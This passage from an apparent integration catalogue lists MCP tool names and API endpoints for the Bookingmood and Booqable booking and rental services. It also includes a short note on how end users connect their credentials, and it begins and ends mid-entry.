Book via POST /book POST /api/v1/bookingmood/book. Scopes: api. bookingmood_post_booking_details (write) — Create booking details via POST /booking_details POST /api/v1/bookingmood/booking_details. Scopes: api. bookingmood_post_calendar_event_notes (write) — Create calendar event notes via POST /calendar_event_notes POST /api/v1/bookingmood/calendar_event_notes. Scopes: api. bookingmood_post_capacities (write) — Create capacities via POST /capacities POST /api/v1/bookingmood/capacities. Scopes: api. bookingmood_post_capacity_group_dependencies (write) — Create capacity group dependencies via POST /capacity_group_dependencies POST /api/v1/bookingmood/capacity_group_dependencies. Scopes: api. bookingmood_post_capacity_groups (write) — Create capacity groups via POST /capacity_groups POST /api/v1/bookingmood/capacity_groups. Scopes: api. bookingmood_post_cart_checkout (write) — Cart checkout via POST /cart-checkout POST /api/v1/bookingmood/cart-checkout. Scopes: api. bookingmood_post_cart_validate (write) — Cart validate via POST /cart-validate POST /api/v1/bookingmood/cart-validate. Scopes: api. bookingmood_post_contact_bookings (write) — Create contact bookings via POST /contact_bookings POST /api/v1/bookingmood/contact_bookings. Scopes: api. bookingmood_post_contacts (write) — Create contacts via POST /contacts POST /api/v1/bookingmood/contacts. Scopes: api. bookingmood_post_coupon_products (write) — Create coupon products via POST /coupon_products POST /api/v1/bookingmood/coupon_products. Scopes: api. bookingmood_post_coupon_services (write) — Create coupon services via POST /coupon_services POST /api/v1/bookingmood/coupon_services. Scopes: api. bookingmood_post_coupon_uses (write) — Create coupon uses via POST /coupon_uses POST /api/v1/bookingmood/coupon_uses. Scopes: api. bookingmood_post_coupons (write) — Create coupons via POST /coupons POST /api/v1/bookingmood/coupons. Scopes: api. bookingmood_post_external_calendars (write) — Create external calendars via POST /external_calendars POST /api/v1/bookingmood/external_calendars. Scopes: api. bookingmood_post_invoices (write) — Create invoices via POST /invoices POST /api/v1/bookingmood/invoices. Scopes: api. bookingmood_post_line_item_taxes (write) — Create line item taxes via POST /line_item_taxes POST /api/v1/bookingmood/line_item_taxes. Scopes: api. bookingmood_post_line_items (write) — Create line items via POST /line_items POST /api/v1/bookingmood/line_items. Scopes: api. bookingmood_post_message_templates (write) — Create message templates via POST /message_templates POST /api/v1/bookingmood/message_templates. Scopes: api. bookingmood_post_payments (write) — Create payments via POST /payments POST /api/v1/bookingmood/payments. Scopes: api. bookingmood_post_permissions (write) — Create permissions via POST /permissions POST /api/v1/bookingmood/permissions. Scopes: api. bookingmood_post_price_calendar_entries (write) — Create price calendar entries via POST /price_calendar_entries POST /api/v1/bookingmood/price_calendar_entries. Scopes: api. bookingmood_post_pricing_widgets (write) — Create pricing widgets via POST /pricing_widgets POST /api/v1/bookingmood/pricing_widgets. Scopes: api. bookingmood_post_product_attribute_options (write) — Create product attribute options via POST /product_attribute_options POST /api/v1/bookingmood/product_attribute_options. Scopes: api. bookingmood_post_product_message_templates (write) — Create product message templates via POST /product_message_templates POST /api/v1/bookingmood/product_message_templates. Scopes: api. bookingmood_post_product_reply_to_addresses (write) — Create product reply to addresses via POST /product_reply_to_addresses POST /api/v1/bookingmood/product_reply_to_addresses. Scopes: api. bookingmood_post_product_services (write) — Create product services via POST /product_services POST /api/v1/bookingmood/product_services. Scopes: api. bookingmood_post_refunds (write) — Create refunds via POST /refunds POST /api/v1/bookingmood/refunds. Scopes: api. bookingmood_post_reply_to_addresses (write) — Create reply to addresses via POST /reply_to_addresses POST /api/v1/bookingmood/reply_to_addresses. Scopes: api. bookingmood_post_review_products (write) — Create review products via POST /review_products POST /api/v1/bookingmood/review_products. Scopes: api. bookingmood_post_review_widget_listings (write) — Create review widget listings via POST /review_widget_listings POST /api/v1/bookingmood/review_widget_listings. Scopes: api. bookingmood_post_review_widgets (write) — Create review widgets via POST /review_widgets POST /api/v1/bookingmood/review_widgets. Scopes: api. bookingmood_post_reviews (write) — Create reviews via POST /reviews POST /api/v1/bookingmood/reviews. Scopes: api. bookingmood_post_search (write) — Search availability via POST /search POST /api/v1/bookingmood/search. Scopes: api. bookingmood_post_seasons (write) — Create seasons via POST /seasons POST /api/v1/bookingmood/seasons. Scopes: api. bookingmood_post_services (write) — Create services via POST /services POST /api/v1/bookingmood/services. Scopes: api. bookingmood_post_site_listings (write) — Create site listings via POST /site_listings POST /api/v1/bookingmood/site_listings. Scopes: api. bookingmood_post_site_nav_items (write) — Create site nav items via POST /site_nav_items POST /api/v1/bookingmood/site_nav_items. Scopes: api. bookingmood_post_site_pages (write) — Create site pages via POST /site_pages POST /api/v1/bookingmood/site_pages. Scopes: api. bookingmood_post_task_assignees (write) — Create task assignees via POST /task_assignees POST /api/v1/bookingmood/task_assignees. Scopes: api. bookingmood_post_task_template_assignees (write) — Create task template assignees via POST /task_template_assignees POST /api/v1/bookingmood/task_template_assignees. Scopes: api. bookingmood_post_task_templates (write) — Create task templates via POST /task_templates POST /api/v1/bookingmood/task_templates. Scopes: api. bookingmood_post_tasks (write) — Create tasks via POST /tasks POST /api/v1/bookingmood/tasks. Scopes: api. bookingmood_post_taxes (write) — Create taxes via POST /taxes POST /api/v1/bookingmood/taxes. Scopes: api. bookingmood_post_webhooks (write) — Create webhooks via POST /webhooks POST /api/v1/bookingmood/webhooks. Scopes: api. bookingmood_post_widget_listings (write) — Create widget listings via POST /widget_listings POST /api/v1/bookingmood/widget_listings. Scopes: api. bookingmood_post_widgets (write) — Create widgets via POST /widgets POST /api/v1/bookingmood/widgets. Scopes: api. ================================================================================ ## Booqable URL: https://www.agenticfabriq.com/integrations/booqable Section: Integrated Tools Booqable — 297 MCP tools Provider key: booqable. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. booqable_delete_api_4_app_payment_options_by_id (write, destructive) — Delete app payment option via DELETE /api/4/app_payment_options/{id} DELETE /api/v1/booqable/api/4/app_payment_options/{id}. Scopes: api. booqable_delete_api_4_assets_by_id (write, destructive) — Delete asset via DELETE /api/4/assets/{id} DELETE /api/v1/booqable/api/4/assets/{id}. Scopes: api. booqable_delete_api_4_authentication_methods_by_id (write, destructive) — Delete authentication method via DELETE /api/4/authentication_methods/{id} DELETE /api/v1/booqable/api/4/authentication_methods/{id}. Scopes: api. booqable_delete_api_4_barcodes_by_id (write, destructive) — Destroy barcode via DELETE /api/4/barcodes/{id} DELETE /api/v1/booqable/api/4/barcodes/{id}. Scopes: api. booqable_delete_api_4_bundle_items_by_id (write, destructive) — Delete bundle item via DELETE /api/4/bundle_items/{id} DELETE /api/v1/booqable/api/4/bundle_items/{id}. Scopes: api. booqable_delete_api_4_bundles_by_id (write, destructive) — Archive bundle via DELETE /api/4/bundles/{id} DELETE /api/v1/booqable/api/4/bundles/{id}. Scopes: api. booqable_delete_api_4_checkout_items_by_id (write, destructive) — Destroy checkout item via DELETE /api/4/checkout_items/{id} DELETE /api/v1/booqable/api/4/checkout_items/{id}. Scopes: api. booqable_delete_api_4_collection_items_by_id (write, destructive) — Delete collection item via DELETE /api/4/collection_items/{id} DELETE /api/v1/booqable/api/4/collection_items/{id}. Scopes: api. booqable_delete_api_4_collections_by_id (write, destructive) — Delete collection via DELETE /api/4/collections/{id} DELETE /api/v1/booqable/api/4/collections/{id}. Scopes: api. booqable_delete_api_4_coupons_by_id (write, destructive) — Archive coupon via DELETE /api/4/coupons/{id} DELETE /api/v1/booqable/api/4/coupons/{id}. Scopes: api. booqable_delete_api_4_customers_by_id (write, destructive) — Archive customer via DELETE /api/4/customers/{id} DELETE /api/v1/booqable/api/4/customers/{id}. Scopes: api. booqable_delete_api_4_default_properties_by_id (write, destructive) — Delete default property via DELETE /api/4/default_properties/{id} DELETE /api/v1/booqable/api/4/default_properties/{id}. Scopes: api. booqable_delete_api_4_device_tokens_by_id (write, destructive) — Delete device token via DELETE /api/4/device_tokens/{id} DELETE /api/v1/booqable/api/4/device_tokens/{id}. Scopes: api. booqable_delete_api_4_documents_by_id (write, destructive) — Archive document via DELETE /api/4/documents/{id} DELETE /api/v1/booqable/api/4/documents/{id}. Scopes: api. booqable_delete_api_4_email_templates_by_id (write, destructive) — Delete email template via DELETE /api/4/email_templates/{id} DELETE /api/v1/booqable/api/4/email_templates/{id}. Scopes: api. booqable_delete_api_4_ip_addresses_by_id (write, destructive) — Delete restricted ip address via DELETE /api/4/ip_addresses/{id} DELETE /api/v1/booqable/api/4/ip_addresses/{id}. Scopes: api. booqable_delete_api_4_lines_by_id (write, destructive) — Archive line via DELETE /api/4/lines/{id} DELETE /api/v1/booqable/api/4/lines/{id}. Scopes: api. booqable_delete_api_4_locations_by_id (write, destructive) — Archive location via DELETE /api/4/locations/{id} DELETE /api/v1/booqable/api/4/locations/{id}. Scopes: api. booqable_delete_api_4_menus_by_id (write, destructive) — Delete menu via DELETE /api/4/menus/{id} DELETE /api/v1/booqable/api/4/menus/{id}. Scopes: api. booqable_delete_api_4_notes_by_id (write, destructive) — Delete note via DELETE /api/4/notes/{id} DELETE /api/v1/booqable/api/4/notes/{id}. Scopes: api. booqable_delete_api_4_notification_subscriptions_by_id (write, destructive) — Delete notification subscription via DELETE /api/4/notification_subscriptions/{id} DELETE /api/v1/booqable/api/4/notification_subscriptions/{id}. Scopes: api. booqable_delete_api_4_operating_rules_by_id (write, destructive) — Delete operating rule via DELETE /api/4/operating_rules/{id} DELETE /api/v1/booqable/api/4/operating_rules/{id}. Scopes: api. booqable_delete_api_4_order_delivery_rates_by_id (write, destructive) — Delete order delivery rate via DELETE /api/4/order_delivery_rates/{id} DELETE /api/v1/booqable/api/4/order_delivery_rates/{id}. Scopes: api. booqable_delete_api_4_payment_charges_by_id (write, destructive) — Delete payment charge via DELETE /api/4/payment_charges/{id} DELETE /api/v1/booqable/api/4/payment_charges/{id}. Scopes: api. booqable_delete_api_4_payment_methods_by_id (write, destructive) — Detach payment method via DELETE /api/4/payment_methods/{id} DELETE /api/v1/booqable/api/4/payment_methods/{id}. Scopes: api. booqable_delete_api_4_payment_profiles_by_id (write, destructive) — Disconnect payment profile via DELETE /api/4/payment_profiles/{id} DELETE /api/v1/booqable/api/4/payment_profiles/{id}. Scopes: api. booqable_delete_api_4_payment_refunds_by_id (write, destructive) — Delete payment refund via DELETE /api/4/payment_refunds/{id} DELETE /api/v1/booqable/api/4/payment_refunds/{id}. Scopes: api. booqable_delete_api_4_photos_by_id (write, destructive) — Delete photo via DELETE /api/4/photos/{id} DELETE /api/v1/booqable/api/4/photos/{id}. Scopes: api. booqable_delete_api_4_price_rules_by_id (write, destructive) — Archive price rule via DELETE /api/4/price_rules/{id} DELETE /api/v1/booqable/api/4/price_rules/{id}. Scopes: api. booqable_delete_api_4_price_rulesets_by_id (write, destructive) — Archive price ruleset via DELETE /api/4/price_rulesets/{id} DELETE /api/v1/booqable/api/4/price_rulesets/{id}. Scopes: api. booqable_delete_api_4_price_structures_by_id (write, destructive) — Delete price structure via DELETE /api/4/price_structures/{id} DELETE /api/v1/booqable/api/4/price_structures/{id}. Scopes: api. booqable_delete_api_4_price_tiles_by_id (write, destructive) — Delete price tile via DELETE /api/4/price_tiles/{id} DELETE /api/v1/booqable/api/4/price_tiles/{id}. Scopes: api. booqable_delete_api_4_product_groups_by_id (write, destructive) — Archive product group via DELETE /api/4/product_groups/{id} DELETE /api/v1/booqable/api/4/product_groups/{id}. Scopes: api. booqable_delete_api_4_products_by_id (write, destructive) — Archive product via DELETE /api/4/products/{id} DELETE /api/v1/booqable/api/4/products/{id}. Scopes: api. booqable_delete_api_4_properties_by_id (write, destructive) — Delete property via DELETE /api/4/properties/{id} DELETE /api/v1/booqable/api/4/properties/{id}. Scopes: api. booqable_delete_api_4_recommendations_by_id (write, destructive) — Delete recommendation via DELETE /api/4/recommendations/{id} DELETE /api/v1/booqable/api/4/recommendations/{id}. Scopes: api. booqable_delete_api_4_stripe_accounts_by_id (write, destructive) — Disconnect stripe account via DELETE /api/4/stripe_accounts/{id} DELETE /api/v1/booqable/api/4/stripe_accounts/{id}. Scopes: api. booqable_delete_api_4_tax_categories_by_id (write, destructive) — Delete tax category via DELETE /api/4/tax_categories/{id} DELETE /api/v1/booqable/api/4/tax_categories/{id}. Scopes: api. booqable_delete_api_4_tax_rates_by_id (write, destructive) — Delete tax rate via DELETE /api/4/tax_rates/{id} DELETE /api/v1/booqable/api/4/tax_rates/{id}. Scopes: api. booqable_delete_api_4_tax_regions_by_id (write, destructive) — Delete tax region via DELETE /api/4/tax_regions/{id} DELETE /api/v1/booqable/api/4/tax_regions/{id}. Scopes: api. booqable_delete_api_4_themes_by_id (write, destructive) — Delete theme via DELETE /api/4/themes/{id} DELETE /api/v1/booqable/api/4/themes/{id}. Scopes: api. booqable_delete_api_4_url_redirects_by_id (write, destructive) — Destroy url redirect via DELETE /api/4/url_redirects/{id} DELETE /api/v1/booqable/api/4/url_redirects/{id}. Scopes: api. booqable_delete_api_4_webhook_endpoints_by_id (write, destructive) — Unsubscribe from webhook events via DELETE /api/4/webhook_endpoints/{id} DELETE /api/v1/booqable/api/4/webhook_endpoints/{id}. Scopes: api. booqable_get_api_4_activity_logs (read) — Filter activity logs via GET /api/4/activity_logs GET /api/v1/booqable/api/4/activity_logs. Scopes: api. booqable_get_api_4_activity_logs_by_id (read) — Fetch activity log via GET /api/4/activity_logs/{id} GET /api/v1/booqable/api/4/activity_logs/{id}. Scopes: api. booqable_get_api_4_app_carriers (read) — List app carriers via GET /api/4/app_carriers GET /api/v1/booqable/api/4/app_carriers. Scopes: api. booqable_get_api_4_app_carriers_by_id (read) — Fetch app carrier via GET /api/4/app_carriers/{id} GET /api/v1/booqable/api/4/app_carriers/{id}. Scopes: api. booqable_get_api_4_app_payment_options (read) — List app payment options via GET /api/4/app_payment_options GET /api/v1/booqable/api/4/app_payment_options. Scopes: api. booqable_get_api_4_app_payment_options_by_id (read) — Fetch app payment option via GET /api/4/app_payment_options/{id} GET /api/v1/booqable/api/4/app_payment_options/{id}. Scopes: api. booqable_get_api_4_assets (read) — List assets via GET /api/4/assets GET /api/v1/booqable/api/4/assets. Scopes: api. booqable_get_api_4_authentication_methods (read) — List authentication methods via GET /api/4/authentication_methods GET /api/v1/booqable/api/4/authentication_methods. Scopes: api. booqable_get_api_4_authentication_methods_by_id (read) — Fetch authentication method via GET /api/4/authentication_methods/{id} GET /api/v1/booqable/api/4/authentication_methods/{id}. Scopes: api. booqable_get_api_4_availabilities (read) — Fetch availability for order via GET /api/4/availabilities GET /api/v1/booqable/api/4/availabilities. Scopes: api. booqable_get_api_4_barcodes (read) — List barcodes via GET /api/4/barcodes GET /api/v1/booqable/api/4/barcodes. Scopes: api. booqable_get_api_4_barcodes_by_id (read) — Fetch barcode via GET /api/4/barcodes/{id} GET /api/v1/booqable/api/4/barcodes/{id}. Scopes: api. booqable_get_api_4_billing_invoices (read) — List billing invoices via GET /api/4/billing_invoices GET /api/v1/booqable/api/4/billing_invoices. Scopes: api. booqable_get_api_4_billing_invoices_by_id (read) — Fetch billing invoice via GET /api/4/billing_invoices/{id} GET /api/v1/booqable/api/4/billing_invoices/{id}. Scopes: api. booqable_get_api_4_billing_plans (read) — Fetch billing plans via GET /api/4/billing_plans GET /api/v1/booqable/api/4/billing_plans. Scopes: api. booqable_get_api_4_bundle_items (read) — List bundle items via GET /api/4/bundle_items GET /api/v1/booqable/api/4/bundle_items. Scopes: api. booqable_get_api_4_bundle_items_by_id (read) — Fetch bundle item via GET /api/4/bundle_items/{id} GET /api/v1/booqable/api/4/bundle_items/{id}. Scopes: api. booqable_get_api_4_bundle_prices (read) — Calculate aggregated price of one or more bundles via GET /api/4/bundle_prices GET /api/v1/booqable/api/4/bundle_prices. Scopes: api. booqable_get_api_4_bundles (read) — List bundles via GET /api/4/bundles GET /api/v1/booqable/api/4/bundles. Scopes: api. booqable_get_api_4_bundles_by_id (read) — Fetch bundle via GET /api/4/bundles/{id} GET /api/v1/booqable/api/4/bundles/{id}. Scopes: api. booqable_get_api_4_checkout_items (read) — List checkout items via GET /api/4/checkout_items GET /api/v1/booqable/api/4/checkout_items. Scopes: api. booqable_get_api_4_checkout_items_by_id (read) — Fetch checkout item via GET /api/4/checkout_items/{id} GET /api/v1/booqable/api/4/checkout_items/{id}. Scopes: api. booqable_get_api_4_collection_items (read) — List collection items via GET /api/4/collection_items GET /api/v1/booqable/api/4/collection_items. Scopes: api. booqable_get_api_4_collections (read) — List collections via GET /api/4/collections GET /api/v1/booqable/api/4/collections. Scopes: api. booqable_get_api_4_collections_by_id (read) — Fetch collection via GET /api/4/collections/{id} GET /api/v1/booqable/api/4/collections/{id}. Scopes: api. booqable_get_api_4_companies_current (read) — Fetch company via GET /api/4/companies/current GET /api/v1/booqable/api/4/companies/current. Scopes: api. booqable_get_api_4_countries (read) — List countries via GET /api/4/countries GET /api/v1/booqable/api/4/countries. Scopes: api. booqable_get_api_4_counts_current (read) — Fetch counts via GET /api/4/counts/current GET /api/v1/booqable/api/4/counts/current. Scopes: api. booqable_get_api_4_coupons (read) — List coupons via GET /api/4/coupons GET /api/v1/booqable/api/4/coupons. Scopes: api. booqable_get_api_4_coupons_by_id (read) — Fetch coupon via GET /api/4/coupons/{id} GET /api/v1/booqable/api/4/coupons/{id}. Scopes: api. booqable_get_api_4_currencies_by_id (read) — Fetch currency via GET /api/4/currencies/{id} GET /api/v1/booqable/api/4/currencies/{id}. Scopes: api. booqable_get_api_4_customers (read) — List customers via GET /api/4/customers GET /api/v1/booqable/api/4/customers. Scopes: api. booqable_get_api_4_customers_by_id (read) — Fetch customer via GET /api/4/customers/{id} GET /api/v1/booqable/api/4/customers/{id}. Scopes: api. booqable_get_api_4_default_properties (read) — List default properties via GET /api/4/default_properties GET /api/v1/booqable/api/4/default_properties. Scopes: api. booqable_get_api_4_default_properties_by_id (read) — Fetch default property via GET /api/4/default_properties/{id} GET /api/v1/booqable/api/4/default_properties/{id}. Scopes: api. booqable_get_api_4_delivery_distance_calculations (read) — Calculate delivery distances via GET /api/4/delivery_distance_calculations GET /api/v1/booqable/api/4/delivery_distance_calculations. Scopes: api. booqable_get_api_4_documents (read) — List documents via GET /api/4/documents GET /api/v1/booqable/api/4/documents. Scopes: api. booqable_get_api_4_documents_by_id (read) — Fetch document via GET /api/4/documents/{id} GET /api/v1/booqable/api/4/documents/{id}. Scopes: api. booqable_get_api_4_downtimes (read) — List downtimes via GET /api/4/downtimes GET /api/v1/booqable/api/4/downtimes. Scopes: api. booqable_get_api_4_downtimes_by_id (read) — Fetch downtime via GET /api/4/downtimes/{id} GET /api/v1/booqable/api/4/downtimes/{id}. Scopes: api. booqable_get_api_4_email_templates (read) — List email templates via GET /api/4/email_templates GET /api/v1/booqable/api/4/email_templates. Scopes: api. booqable_get_api_4_email_templates_by_id (read) — Fetch email template via GET /api/4/email_templates/{id} GET /api/v1/booqable/api/4/email_templates/{id}. Scopes: api. booqable_get_api_4_emails (read) — List emails via GET /api/4/emails GET /api/v1/booqable/api/4/emails. Scopes: api. booqable_get_api_4_employees (read) — List employees via GET /api/4/employees GET /api/v1/booqable/api/4/employees. Scopes: api. booqable_get_api_4_employees_by_id (read) — Fetch employee via GET /api/4/employees/{id} GET /api/v1/booqable/api/4/employees/{id}. Scopes: api. booqable_get_api_4_integrations (read) — List integrations via GET /api/4/integrations GET /api/v1/booqable/api/4/integrations. Scopes: api. booqable_get_api_4_integrations_by_id (read) — Fetch integration via GET /api/4/integrations/{id} GET /api/v1/booqable/api/4/integrations/{id}. Scopes: api. booqable_get_api_4_inventory_availabilities (read) — Inventory availabilities fetch availability for product via GET /api/4/inventory_availabilities GET /api/v1/booqable/api/4/inventory_availabilities. Scopes: api. booqable_get_api_4_inventory_breakdowns (read) — List inventory breakdowns via GET /api/4/inventory_breakdowns GET /api/v1/booqable/api/4/inventory_breakdowns. Scopes: api. booqable_get_api_4_inventory_level_intervals (read) — List inventory level intervals via GET /api/4/inventory_level_intervals GET /api/v1/booqable/api/4/inventory_level_intervals. Scopes: api. booqable_get_api_4_inventory_levels (read) — Fetch inventory levels for product via GET /api/4/inventory_levels GET /api/v1/booqable/api/4/inventory_levels. Scopes: api. booqable_get_api_4_ip_addresses (read) — List restricted ip addresses via GET /api/4/ip_addresses GET /api/v1/booqable/api/4/ip_addresses. Scopes: api. booqable_get_api_4_ip_addresses_by_id (read) — Fetch restricted ip address via GET /api/4/ip_addresses/{id} GET /api/v1/booqable/api/4/ip_addresses/{id}. Scopes: api. booqable_get_api_4_item_prices (read) — Calculate price of products and or bundles via GET /api/4/item_prices GET /api/v1/booqable/api/4/item_prices. Scopes: api. booqable_get_api_4_items (read) — List items via GET /api/4/items GET /api/v1/booqable/api/4/items. Scopes: api. booqable_get_api_4_items_by_id (read) — Fetch item via GET /api/4/items/{id} GET /api/v1/booqable/api/4/items/{id}. Scopes: api. booqable_get_api_4_languages_by_id (read) — Fetch language via GET /api/4/languages/{id} GET /api/v1/booqable/api/4/languages/{id}. Scopes: api. booqable_get_api_4_line_charge_suggestions (read) — List suggestions via GET /api/4/line_charge_suggestions GET /api/v1/booqable/api/4/line_charge_suggestions. Scopes: api. booqable_get_api_4_lines (read) — List lines via GET /api/4/lines GET /api/v1/booqable/api/4/lines. Scopes: api. booqable_get_api_4_lines_by_id (read) — Fetch line via GET /api/4/lines/{id} GET /api/v1/booqable/api/4/lines/{id}. Scopes: api. booqable_get_api_4_locations (read) — List locations via GET /api/4/locations GET /api/v1/booqable/api/4/locations. Scopes: api. booqable_get_api_4_locations_by_id (read) — Fetch location via GET /api/4/locations/{id} GET /api/v1/booqable/api/4/locations/{id}. Scopes: api. booqable_get_api_4_login_activities (read) — List login activities via GET /api/4/login_activities GET /api/v1/booqable/api/4/login_activities. Scopes: api. booqable_get_api_4_menus (read) — List menus via GET /api/4/menus GET /api/v1/booqable/api/4/menus. Scopes: api. booqable_get_api_4_menus_by_id (read) — Fetch menu via GET /api/4/menus/{id} GET /api/v1/booqable/api/4/menus/{id}. Scopes: api. booqable_get_api_4_notes (read) — List notes via GET /api/4/notes GET /api/v1/booqable/api/4/notes. Scopes: api. booqable_get_api_4_notes_by_id (read) — Fetch note via GET /api/4/notes/{id} GET /api/v1/booqable/api/4/notes/{id}. Scopes: api. booqable_get_api_4_notification_subscriptions (read) — List notification subscriptions via GET /api/4/notification_subscriptions GET /api/v1/booqable/api/4/notification_subscriptions. Scopes: api. booqable_get_api_4_notification_subscriptions_by_id (read) — Fetch notification subscription via GET /api/4/notification_subscriptions/{id} GET /api/v1/booqable/api/4/notification_subscriptions/{id}. Scopes: api. booqable_get_api_4_operating_rules (read) — List operating rules via GET /api/4/operating_rules GET /api/v1/booqable/api/4/operating_rules. Scopes: api. booqable_get_api_4_operations (read) — List operations via GET /api/4/operations GET /api/v1/booqable/api/4/operations. Scopes: api. booqable_get_api_4_operations_by_id (read) — Fetch operation via GET /api/4/operations/{id} GET /api/v1/booqable/api/4/operations/{id}. Scopes: api. booqable_get_api_4_order_delivery_rates (read) — Fetch rates from all installed delivery apps for order via GET /api/4/order_delivery_rates GET /api/v1/booqable/api/4/order_delivery_rates. Scopes: api. booqable_get_api_4_order_delivery_rates_by_id (read) — Fetch order delivery rate via GET /api/4/order_delivery_rates/{id} GET /api/v1/booqable/api/4/order_delivery_rates/{id}. Scopes: api. booqable_get_api_4_order_planning_availabilities (read) — Get availability information for order via GET /api/4/order_planning_availabilities GET /api/v1/booqable/api/4/order_planning_availabilities. Scopes: api. booqable_get_api_4_orders (read) — List orders via GET /api/4/orders GET /api/v1/booqable/api/4/orders. Scopes: api. booqable_get_api_4_orders_by_id (read) — Fetch order via GET /api/4/orders/{id} GET /api/v1/booqable/api/4/orders/{id}. Scopes: api. booqable_get_api_4_orders_new (read) — New order via GET /api/4/orders/new GET /api/v1/booqable/api/4/orders/new. Scopes: api. booqable_get_api_4_payment_methods (read) — List payment methods via GET /api/4/payment_methods GET /api/v1/booqable/api/4/payment_methods. Scopes: api. booqable_get_api_4_payment_profiles (read) — List payment profiles via GET /api/4/payment_profiles GET /api/v1/booqable/api/4/payment_profiles. Scopes: api. booqable_get_api_4_payment_profiles_by_id (read) — Fetch payment profile via GET /api/4/payment_profiles/{id} GET /api/v1/booqable/api/4/payment_profiles/{id}. Scopes: api. booqable_get_api_4_payments (read) — List payments via GET /api/4/payments GET /api/v1/booqable/api/4/payments. Scopes: api. booqable_get_api_4_payments_by_id (read) — Fetch payment via GET /api/4/payments/{id} GET /api/v1/booqable/api/4/payments/{id}. Scopes: api. booqable_get_api_4_photos (read) — List photos via GET /api/4/photos GET /api/v1/booqable/api/4/photos. Scopes: api. booqable_get_api_4_photos_by_id (read) — Fetch photo via GET /api/4/photos/{id} GET /api/v1/booqable/api/4/photos/{id}. Scopes: api. booqable_get_api_4_plannings (read) — List plannings via GET /api/4/plannings GET /api/v1/booqable/api/4/plannings. Scopes: api. booqable_get_api_4_plannings_by_id (read) — Fetch planning via GET /api/4/plannings/{id} GET /api/v1/booqable/api/4/plannings/{id}. Scopes: api. booqable_get_api_4_price_rulesets (read) — List price rulesets via GET /api/4/price_rulesets GET /api/v1/booqable/api/4/price_rulesets. Scopes: api. booqable_get_api_4_price_rulesets_by_id (read) — Fetch price ruleset via GET /api/4/price_rulesets/{id} GET /api/v1/booqable/api/4/price_rulesets/{id}. Scopes: api. booqable_get_api_4_price_structures (read) — List price structures via GET /api/4/price_structures GET /api/v1/booqable/api/4/price_structures. Scopes: api. booqable_get_api_4_price_structures_by_id (read) — Fetch price structure via GET /api/4/price_structures/{id} GET /api/v1/booqable/api/4/price_structures/{id}. Scopes: api. booqable_get_api_4_price_tiles (read) — List price tiles via GET /api/4/price_tiles GET /api/v1/booqable/api/4/price_tiles. Scopes: api. booqable_get_api_4_price_tiles_by_id (read) — Fetch price tile via GET /api/4/price_tiles/{id} GET /api/v1/booqable/api/4/price_tiles/{id}. Scopes: api. booqable_get_api_4_product_groups (read) — List product groups via GET /api/4/product_groups GET /api/v1/booqable/api/4/product_groups. Scopes: api. booqable_get_api_4_product_groups_by_id (read) — Fetch product group via GET /api/4/product_groups/{id} GET /api/v1/booqable/api/4/product_groups/{id}. Scopes: api. booqable_get_api_4_product_trackers (read) — List product trackers via GET /api/4/product_trackers GET /api/v1/booqable/api/4/product_trackers. Scopes: api. booqable_get_api_4_products (read) — List products via GET /api/4/products GET /api/v1/booqable/api/4/products. Scopes: api. booqable_get_api_4_products_by_id (read) — Fetch product via GET /api/4/products/{id} GET /api/v1/booqable/api/4/products/{id}. Scopes: api. booqable_get_api_4_properties (read) — List properties via GET /api/4/properties GET /api/v1/booqable/api/4/properties. Scopes: api. booqable_get_api_4_properties_by_id (read) — Fetch property via GET /api/4/properties/{id} GET /api/v1/booqable/api/4/properties/{id}. Scopes: api. booqable_get_api_4_provinces (read) — List provinces via GET /api/4/provinces GET /api/v1/booqable/api/4/provinces. Scopes: api. booqable_get_api_4_publications (read) — List publications via GET /api/4/publications GET /api/v1/booqable/api/4/publications. Scopes: api. booqable_get_api_4_recommendations (read) — List recommendations via GET /api/4/recommendations GET /api/v1/booqable/api/4/recommendations. Scopes: api. booqable_get_api_4_refundable_payment_charges (read) — Retrieve prioritized refundable payment charges via GET /api/4/refundable_payment_charges GET /api/v1/booqable/api/4/refundable_payment_charges. Scopes: api. booqable_get_api_4_report_company_performances (read) — List company performance metrics via GET /api/4/report_company_performances GET /api/v1/booqable/api/4/report_company_performances. Scopes: api. booqable_get_api_4_report_coupons (read) — List performance for coupons via GET /api/4/report_coupons GET /api/v1/booqable/api/4/report_coupons. Scopes: api. booqable_get_api_4_report_rental_intervals (read) — List performance for rental product per interval via GET /api/4/report_rental_intervals GET /api/v1/booqable/api/4/report_rental_intervals. Scopes: api. booqable_get_api_4_report_rentals (read) — List performance for rental products via GET /api/4/report_rentals GET /api/v1/booqable/api/4/report_rentals. Scopes: api. booqable_get_api_4_report_sales_items (read) — List performance for sales items via GET /api/4/report_sales_items GET /api/v1/booqable/api/4/report_sales_items. Scopes: api. booqable_get_api_4_report_stock_items (read) — List performance for stock items via GET /api/4/report_stock_items GET /api/v1/booqable/api/4/report_stock_items. Scopes: api. booqable_get_api_4_sessions_current (read) — Fetch session via GET /api/4/sessions/current GET /api/v1/booqable/api/4/sessions/current. Scopes: api. booqable_get_api_4_settings_current (read) — Fetch settings via GET /api/4/settings/current GET /api/v1/booqable/api/4/settings/current. Scopes: api. booqable_get_api_4_stock_counts (read) — List stock counts via GET /api/4/stock_counts GET /api/v1/booqable/api/4/stock_counts. Scopes: api. booqable_get_api_4_stock_item_plannings (read) — List stock item plannings via GET /api/4/stock_item_plannings GET /api/v1/booqable/api/4/stock_item_plannings. Scopes: api. booqable_get_api_4_stock_item_suggestions (read) — List stock item suggestions via GET /api/4/stock_item_suggestions GET /api/v1/booqable/api/4/stock_item_suggestions. Scopes: api. booqable_get_api_4_stock_item_trackers (read) — List stock item trackers via GET /api/4/stock_item_trackers GET /api/v1/booqable/api/4/stock_item_trackers. Scopes: api. booqable_get_api_4_stock_items (read) — List stock items via GET /api/4/stock_items GET /api/v1/booqable/api/4/stock_items. Scopes: api. booqable_get_api_4_stock_items_by_id (read) — Fetch stock item via GET /api/4/stock_items/{id} GET /api/v1/booqable/api/4/stock_items/{id}. Scopes: api. booqable_get_api_4_stripe_accounts (read) — List stripe accounts via GET /api/4/stripe_accounts GET /api/v1/booqable/api/4/stripe_accounts. Scopes: api. booqable_get_api_4_stripe_accounts_by_id (read) — Fetch stripe account via GET /api/4/stripe_accounts/{id} GET 